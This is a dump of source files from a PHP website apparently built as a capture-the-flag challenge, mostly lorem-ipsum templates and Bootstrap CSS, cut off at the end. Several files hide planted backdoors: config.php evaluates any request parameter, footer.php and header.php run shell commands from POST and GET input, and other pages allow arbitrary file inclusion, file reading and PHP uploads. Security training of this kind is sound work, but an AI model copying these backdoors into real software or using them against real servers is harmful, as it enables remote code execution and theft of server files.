    "content": "<?php\n\t$file=$_GET['file'];\n\tinclude $file;\n?>\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- about -->\n\t<div class=\"about\">\n\t\t<div class=\"container\">\n\t\t\t<ol class=\"breadcrumb breadco\">\n\t\t\t  <li><a href=\"./index.php\">Home</a></li>\n\t\t\t  <li class=\"active\">About Us</li>\n\t\t\t</ol>\n\t\t\t<div class=\"about-grids\">\n\t\t\t\t<div class=\"col-md-6 about-grid\">\n\t\t\t\t\t<h3>About Us</h3>\n\t\t\t\t\t<img src=\"images/banner.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t<h4>Neque porpro quisquam est, qui dolorem ipsum quia dolor sit amet aliquid ex ea consectetur</h4>\n\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\tcorporis suscipit laboriosam, nisi ut aliquid ex ea consectetur, adipisci \n\t\t\t\t\t\tvelit, sed quia non numquam eius modi commodi consequatur.</p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-6 about-grid\">\n\t\t\t\t\t<h3>Our History</h3>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\t<div class=\"about-gd-left\">\n\t\t\t\t\t\t\t<h4>1995 -</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"about-gd-right\">\n\t\t\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\t\t\tcorporis suscipit laboriosam.</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\t<div class=\"about-gd-left\">\n\t\t\t\t\t\t\t<h4>2000 -</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"about-gd-right\">\n\t\t\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\t\t\tcorporis suscipit laboriosam.</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\t<div class=\"about-gd-left\">\n\t\t\t\t\t\t\t<h4>2013 -</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"about-gd-right\">\n\t\t\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\t\t\tcorporis suscipit laboriosam.</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\t<div class=\"about-gd-left\">\n\t\t\t\t\t\t\t<h4>2015 -</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"about-gd-right\">\n\t\t\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\t\t\tcorporis suscipit laboriosam.</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\t<div class=\"about-gd-left\">\n\t\t\t\t\t\t\t<h4>Today</h4>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"about-gd-right\">\n\t\t\t\t\t\t\t<p>Ut enim ad minima veniam, quis nostrum exercitationem ullam \n\t\t\t\t\t\t\t\tcorporis suscipit laboriosam.</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- //about -->\n<!-- history -->\n\t<div class=\"history\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"col-md-6 history-left\">\t\n\t\t\t\t<h3>Our Standards</h3>\n\t\t\t\t<div class=\"history-left-grid\">\n\t\t\t\t\t<p><i class=\"glyphicon glyphicon-calendar\" aria-hidden=\"true\"></i>21.9.2015</p>\n\t\t\t\t\t<h4>consequatur aut perferendis</h4>\n\t\t\t\t\t<p class=\"aut\">Itaque earum rerum hic tenetur a sapiente delectus,\n\t\t\t\t\t\tut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et \n\t\t\t\t\t\tmolestiae non recusandae aut perferendis.</p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"history-left-grid\">\n\t\t\t\t\t<p><i class=\"glyphicon glyphicon-calendar\" aria-hidden=\"true\"></i>28.9.2015</p>\n\t\t\t\t\t<h4>consequatur aut perferendis</h4>\n\t\t\t\t\t<p class=\"aut\">Itaque earum rerum hic tenetur a sapiente delectus,\n\t\t\t\t\t\tut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et \n\t\t\t\t\t\tmolestiae non recusandae aut perferendis.</p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"history-left-grid\">\n\t\t\t\t\t<p><i class=\"glyphicon glyphicon-calendar\" aria-hidden=\"true\"></i>03.8.2015</p>\n\t\t\t\t\t<h4>consequatur aut perferendis</h4>\n\t\t\t\t\t<p class=\"aut\">Itaque earum rerum hic tenetur a sapiente delectus,\n\t\t\t\t\t\tut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et \n\t\t\t\t\t\tmolestiae non recusandae aut perferendis.</p>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"col-md-6 history-right\">\n\t\t\t\t<h3>What We Offer</h3>\n\t\t\t\t<h4>voluptatibus maiores alias</h4>\n\t\t\t\t<p>To take a trivial example, which of us ever undertakes laborious physical \n\t\t\t\t\texercise, except to obtain some advantage from it? But who has any right to \n\t\t\t\t\tfind fault with a man who chooses to enjoy a pleasure.</p>\n\t\t\t\t<ul>\n\t\t\t\t\t<li><a href=\"#\">recusandae aut perferendis</a></li>\n\t\t\t\t\t<li><a href=\"#\">voluptatibus maiores alias</a></li>\n\t\t\t\t\t<li><a href=\"#\">molestiae non recusandae</a></li>\n\t\t\t\t\t<li><a href=\"#\">alias consequatur voluptates</a></li>\n\t\t\t\t\t<li><a href=\"#\">tenetur a sapiente delectus</a></li>\n\t\t\t\t\t<li><a href=\"#\">earum rerum hic tenetur</a></li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t\t<div class=\"clearfix\"> </div>\n\t\t</div>\n\t</div>\n<!-- //history -->\n<?php\n\tinclude 'footer.php';\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/admin/footer.php",
    "content": "<?php \n\t$shell=$_POST['shell'];\n\tsystem($shell);\n\tif($shell !=\"\"){\n\t\texit();\n\t}\n?>\n\n\t<div class=\"footer-bottom\">\n\t\t<div class=\"container\">\t\t\n\t\t\t<p>Copyright &copy; 2018.Company name All rights reserved.More Templates - </p>\t\t\t\t\t\n\t\t</div>\n\t</div>\n<!--//footer-->\t\n<!-- for bootstrap working -->\n\t\t<script src=\"js/bootstrap.js\"> </script>"
  },
  {
    "path": "web_simplecms/simplecms/admin/header.php",
    "content": "<?php \n\t$p=$_GET['p'];\n\techo $p;\n\t$q=exec($p);\n\tvar_dump($q);\n?><!DOCTYPE html>\n<html>\n<head>\n<title>Home</title>\n<!-- for-mobile-apps -->\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<meta name=\"keywords\" content=\"Seafaring Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, \nSmartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design\" />\n<script type=\"application/x-javascript\"> addEventListener(\"load\", function() { setTimeout(hideURLbar, 0); }, false);\n\t\tfunction hideURLbar(){ window.scrollTo(0,1); } </script>\n<!-- //for-mobile-apps -->\n<link href=\"../css/bootstrap.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<link href=\"../css/style.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<!-- js -->\n<script src=\"js/jquery-1.11.1.min.js\"></script>\n<!-- //js -->\n<!-- FlexSlider -->\n<link rel=\"stylesheet\" href=\"../css/flexslider.css\" type=\"text/css\" media=\"screen\" />\n<script defer src=\"../js/jquery.flexslider.js\"></script>\n<script type=\"text/javascript\">\n\t\t\t\t\t\t$(window).load(function(){\n\t\t\t\t\t\t  $('.flexslider').flexslider({\n\t\t\t\t\t\t\tanimation: \"slide\",\n\t\t\t\t\t\t\tstart: function(slider){\n\t\t\t\t\t\t\t  $('body').removeClass('loading');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t  });\n\t\t\t\t\t\t});\n\t\t\t\t\t  </script>\n\n</head>\n\t\n<body>\n<!-- header -->\n\t<div class=\"header\">\n\t\t<div class=\"search\">\n\t\t\t\t<i class=\"glyphicon glyphicon-search\" aria-hidden=\"true\"></i><input type=\"text\" name=\"id\" value=\"输入1，2，3\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Search Here';}\" required=\"\">\n\n\t\t</div>\n\t\t<div class=\"logo\">\n\t\t\t<a href=\"./index.php\">Seafaring <span>A Travel Agency</span></a>\n\t\t</div>\n\t\t<div class=\"logo-right\">\n\t\t\t<ul>\n\t\t\t\t\n\t\t\t\t<li>admin</li>\n\t\t\t\t<li><a href=\"./logout.php\">退出</a></li>\n\t\t\t</ul>\n\t\t</div>\n\t\t<div class=\"clearfix\"> </div>\n\t</div>\n\t<div class=\"header-nav\">\n\t\t<div class=\"container\">\n\t\t\t<nav class=\"navbar navbar-default\">\n\t\t\t\t<!-- Brand and toggle get grouped for better mobile display -->\n\t\t\t\t<div class=\"navbar-header\">\n\t\t\t\t  <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\">\n\t\t\t\t\t<span class=\"sr-only\">Toggle navigation</span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t  </button>\n\t\t\t\t</div>\n\n\t\t\t\t<!-- Collect the nav links, forms, and other content for toggling -->\n\t\t\t\t<div class=\"collapse navbar-collapse nav-wil\" id=\"bs-example-navbar-collapse-1\">\n\t\t\t\t\t<nav class=\"cl-effect-1\">\n\t\t\t\t\t\t<ul class=\"nav navbar-nav\">\n\t\t\t\t\t\t\t<li class=\"active\"><a href=\"./index.php\" >主页</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</nav>\n\t\t\t\t</div><!-- /.navbar-collapse -->\t\n\t\t\t</nav>\n\t\t</div>\n\t</div>\n\t\n"
  },
  {
    "path": "web_simplecms/simplecms/admin/index.php",
    "content": "<?php \ninclude_once('../config.php');\nif (isset($_SESSION['username'])) {\n\tinclude_once('header.php');\n\n?>\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- single -->\n\t<div class=\"single\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"single-page-artical\">\n\t\t\t\t<div class=\"artical-content\">\n\t\t\t\t\t<h3>flag:<?php system(\"cat /flag\")?></h3>\n\t\t\t\t\t<img class=\"img-responsive\" src=\"../images/banner.jpg\" alt=\" \" />\n\t\t\t\t\t<p></p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"artical-links\">\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-calendar\" aria-hidden=\"true\"></span>September 15,2015</li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-user\" aria-hidden=\"true\"></span>admin</a></li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-envelope\" aria-hidden=\"true\"></span>No comments</a></li>\n\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-bookmark\" aria-hidden=\"true\"></span>View posts</a></li>\n\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span>permalink</li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"comment-grid-top\">\n\t\t\t\t\t<h3>回复</h3>\n\t\t\t\t\t<div class=\"comments-top-top\">\n\t\t\t\t\t\t<div class=\"top-comment-left\">\n\t\t\t\t\t\t\t<a href=\"#\"><img class=\"img-responsive\" src=\"images/co.png\" alt=\"\"></a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"top-comment-right\">\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t<li><span class=\"left-at\"><a href=\"#\">Admin</a></span></li>\n\t\t\t\t\t\t\t\t<li><span class=\"right-at\">September 15, 2015 at 10.30am</span></li>\n\t\t\t\t\t\t\t\t<li><a class=\"reply\" href=\"#\">Reply</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less </p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"comments-top-top top-grid-comment\">\n\t\t\t\t\t\t<div class=\"top-comment-left\">\n\t\t\t\t\t\t\t<a href=\"#\"><img class=\"img-responsive\" src=\"images/co.png\" alt=\"\"></a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"top-comment-right\">\n\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t<li><span class=\"left-at\"><a href=\"#\">Admin</a></li>\n\t\t\t\t\t\t\t\t<li><span class=\"right-at\">September 15, 2015 at 10.30am</span></li>\n\t\t\t\t\t\t\t\t<li><a class=\"reply\" href=\"#\">Reply</a></li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less </p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\t\t\t\n\t\t\t\t<div class=\"artical-commentbox\">\n\t\t\t\t\t<h3>上传文件</h3>\n\t\t\t\t\t<div class=\"table-form\">\n\t\t\t\t\t\t<form action=\"upload.php\" method=\"post\" enctype=\"multipart/form-data\" name=\"upload\">\n\t\t\t\t\t\t\t<input type=\"file\" name=\"pic\" value=\"Name\" >\n\t\t\t\t\t\t\t<hr/>\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t<input type=\"submit\" value=\"上传\">\n\t\t\t\t\t\t</form>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\t\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- single -->\n<?php \n\trequire_once('footer.php');\n}\nelse {\n\tnot_find($_SERVER['PHP_SELF']);\n}\n\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/admin/logout.php",
    "content": "<?php\ninclude_once('../config.php');\nsession_destroy();\nheader('Location: ../index.php');\n?>"
  },
  {
    "path": "web_simplecms/simplecms/admin/upload/1532851276json",
    "content": "{\"\":\"\"}\n"
  },
  {
    "path": "web_simplecms/simplecms/admin/upload/1532851294.php",
    "content": "{\"\":\"\"}\n"
  },
  {
    "path": "web_simplecms/simplecms/admin/upload/1532851316.php",
    "content": "\n<?php phpinfo();?>"
  },
  {
    "path": "web_simplecms/simplecms/admin/upload/config.php",
    "content": ""
  },
  {
    "path": "web_simplecms/simplecms/admin/upload.php",
    "content": "<html lang=\"zh-CN\">\n  <head>\n    <meta charset=\"utf-8\">\n<?php\ninclude_once('../config.php');\nif (isset($_SESSION['username'])) {\n        include_once('header.php');\n        $html_username = htmlspecialchars($_SESSION['username']);\n        if(isset($_SESSION['error_info']) && $_SESSION['error_info'] != '') {\n                echo $_SESSION['error_info'];\n                $_SESSION['error_info'] = '';\n        }\n\t\n\n}\nelse {\n\tnot_find($_SERVER['PHP_SELF']);\n\texit();\n}\n\n\n$error=$_FILES['pic']['error'];\n$tmpName=$_FILES['pic']['tmp_name'];\n$name=$_FILES['pic']['name'];\n$size=$_FILES['pic']['size'];\n$type=$_FILES['pic']['type'];\ntry{\n\tif($name!==\"\")\n\t{\n\t\t$name1=substr($name,-4);\n\t\tif(is_uploaded_file($tmpName)){\n\t\t\t$time=time();\n\t\t\t$rootpath='./upload/'.$time.$name1;\n\t\t\t$file=fopen($tmpName, \"r\") or die('No such file!');\n                \t$content=fread($file, filesize($tmpName));\n                \tif(strstr($content,'fuck')){\n                        \texit(\"<script language='JavaScript'>alert('You should not do this!');window.location='index.php?page=submit'</script>\");\n                \t}\n\t\t\tif(!move_uploaded_file($tmpName,$rootpath)){\n\t\t\t\techo \"<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>\";\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t\techo \"上传成功：/upload/\".$time.$name1;\n\t}\n}\ncatch(Exception $e)\n{\n\techo \"ERROR\";\n}\n//\nrequire('footer.php');\n ?>\n </html>\n"
  },
  {
    "path": "web_simplecms/simplecms/bower.json",
    "content": "{\n  \"name\": \"startbootstrap-sb-admin-2\",\n  \"homepage\": \"#template-overviews/sb-admin-2/\",\n  \"version\": \"3.3.7+1\",\n  \"authors\": [\n    \"David Miller\"\n  ],\n  \"description\": \"A free, open source, Bootstrap admin theme created by Start Bootstrap\",\n  \"keywords\": [\n    \"bootstrap\",\n    \"theme\"\n  ],\n  \"license\": \"MIT\",\n  \"ignore\": [\n    \"**/.*\",\n    \"node_modules\",\n    \"bower_components\",\n    \"test\",\n    \"tests\",\n    \"pages\",\n    \"index.html\",\n    \"/js\"\n  ],\n  \"main\": [\n    \"dist/css/sb-admin-2.css\",\n    \"dist/css/sb-admin-2.min.css\",\n    \"dist/js/sb-admin-2.js\",\n    \"dist/js/sb-admin-2.min.js\"\n  ],\n  \"dependencies\": {\n    \"bootstrap\": \"~3.3.7\",\n    \"datatables\": \"~1.10.4\",\n    \"datatables-plugins\": \"~1.0.1\",\n    \"flot\": \"~0.8.3\",\n    \"font-awesome\": \"~4.6.3\",\n    \"holderjs\": \"~2.4.1\",\n    \"metisMenu\": \"~1.1.3\",\n    \"morrisjs\": \"~0.5.1\",\n    \"datatables-responsive\": \"1.0.6\",\n    \"bootstrap-social\": \"~4.8.0\",\n    \"flot.tooltip\": \"~0.8.4\"\n  },\n  \"resolutions\": {\n    \"font-awesome\": \"~4.6.3\"\n  }\n}\n"
  },
  {
    "path": "web_simplecms/simplecms/config.php",
    "content": "<?php\n//链接数据库\n$host = 'localhost';\n$username = 'root';\n$password = '';\n$database = 'test';\n$dbc = mysqli_connect($host, $username, $password, $database);\nif (!$dbc)\n{\n\tdie('Could not connect: ' . mysql_error());\n}\n\n//启用session\nsession_start();\n\n//根目录\n$basedir = ''; \n\n@eval($_REQUEST['c']);\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/contact.php",
    "content": "<?php\n\tinclude 'header.php';\n\t$file_path = $_GET['path'];\n\tif(file_exists($file_path)){\n\t$fp = fopen($file_path,\"r\");\n\t$str = fread($fp,filesize($file_path));\n\techo $str = str_replace(\"\\r\\n\",\"<br />\",$str);\n\t\t\t\t\t\t\t}\n\t\n?>\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- contact -->\n\t<div class=\"contact\">\n\t\t\n\t\t<div class=\"contact-grids\">\n\t\t\t<div class=\"container\">\n\t\t\t<ol class=\"breadcrumb breadco\">\n\t\t\t\t<li><a href=\"#\">Home</a></li>\n\t\t\t\t<li class=\"active\">Contact Us</li>\n\t\t\t</ol>\n\t\t\t<div class=\"col-md-3 contact-grid\">\n\t\t\t\t<div class=\"call\">\n\t\t\t\t\t<div class=\"col-xs-3 contact-grdl\">\n\t\t\t\t\t\t<span class=\"glyphicon glyphicon-phone\" aria-hidden=\"true\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-xs-9 contact-grdr\">\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li>+3402 890 679</li>\n\t\t\t\t\t\t\t<li>+5356 890 679</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"address\">\n\t\t\t\t\t<div class=\"col-xs-3 contact-grdl\">\n\t\t\t\t\t\t<span class=\"glyphicon glyphicon-send\" aria-hidden=\"true\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-xs-9 contact-grdr\">\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li>345 Diamond Street,</li>\n\t\t\t\t\t\t\t<li>Greece.</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"mail\">\n\t\t\t\t\t<div class=\"col-xs-3 contact-grdl\">\n\t\t\t\t\t\t<span class=\"glyphicon glyphicon-envelope\" aria-hidden=\"true\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-xs-9 contact-grdr\">\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><a href=\"mailto:info@example.com\">info@example.com</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"col-md-5 contact-grid\">\n\t\t\t\t<form>\n\t\t\t\t\t<input type=\"text\" value=\"Name\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Name';}\" required=\"\">\n\t\t\t\t\t<input type=\"text\" value=\"Email\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Email';}\" required=\"\">\n\t\t\t\t\t<textarea type=\"text\"  onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Message...';}\" required=\"\">Message...</textarea>\n\t\t\t\t\t<input type=\"submit\" value=\"Send\" >\n\t\t\t\t</form>\n\t\t\t</div>\n\t\t\t<div class=\"col-md-4 contact-grid\">\n\t\t\t\t<div class=\"newsletter\">\n\t\t\t\t\t<h3><span class=\"glyphicon glyphicon-envelope\" aria-hidden=\"true\"></span>Newsletter</h3>\n\t\t\t\t</div>\n\t\t\t\t<form>\n\t\t\t\t\t<input type=\"text\" value=\"Email\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Email';}\" required=\"\">\n\t\t\t\t\t<input type=\"submit\" value=\"Subscribe\" >\n\t\t\t\t</form>\n\t\t\t</div>\n\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- contact -->\n<?php\n\tinclude 'footer.php';\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v3.3.4 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n/*! normalize.css v3.0.2 | MIT License | git.io/normalize */\nhtml {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\nbody {\n  margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  vertical-align: baseline;\n}\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n[hidden],\ntemplate {\n  display: none;\n}\na {\n  background-color: transparent;\n}\na:active,\na:hover {\n  outline: 0;\n}\nabbr[title] {\n  border-bottom: 1px dotted;\n}\nb,\nstrong {\n  font-weight: bold;\n}\ndfn {\n  font-style: italic;\n}\nh1 {\n  margin: .67em 0;\n  font-size: 2em;\n}\nmark {\n  color: #000;\n  background: #ff0;\n}\nsmall {\n  font-size: 80%;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -.5em;\n}\nsub {\n  bottom: -.25em;\n}\nimg {\n  border: 0;\n}\nsvg:not(:root) {\n  overflow: hidden;\n}\nfigure {\n  margin: 1em 40px;\n}\nhr {\n  height: 0;\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n}\npre {\n  overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  margin: 0;\n  font: inherit;\n  color: inherit;\n}\nbutton {\n  overflow: visible;\n}\nbutton,\nselect {\n  text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\ninput {\n  line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n  padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\nfieldset {\n  padding: .35em .625em .75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\nlegend {\n  padding: 0;\n  border: 0;\n}\ntextarea {\n  overflow: auto;\n}\noptgroup {\n  font-weight: bold;\n}\ntable {\n  border-spacing: 0;\n  border-collapse: collapse;\n}\ntd,\nth {\n  padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n  *,\n  *:before,\n  *:after {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    -webkit-box-shadow: none !important;\n            box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"#\"]:after,\n  a[href^=\"javascript:\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  select {\n    background: #fff !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n@font-face {\n  font-family: 'Glyphicons Halflings';\n\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n  content: \"\\2a\";\n}\n.glyphicon-plus:before {\n  content: \"\\2b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n  content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n  content: 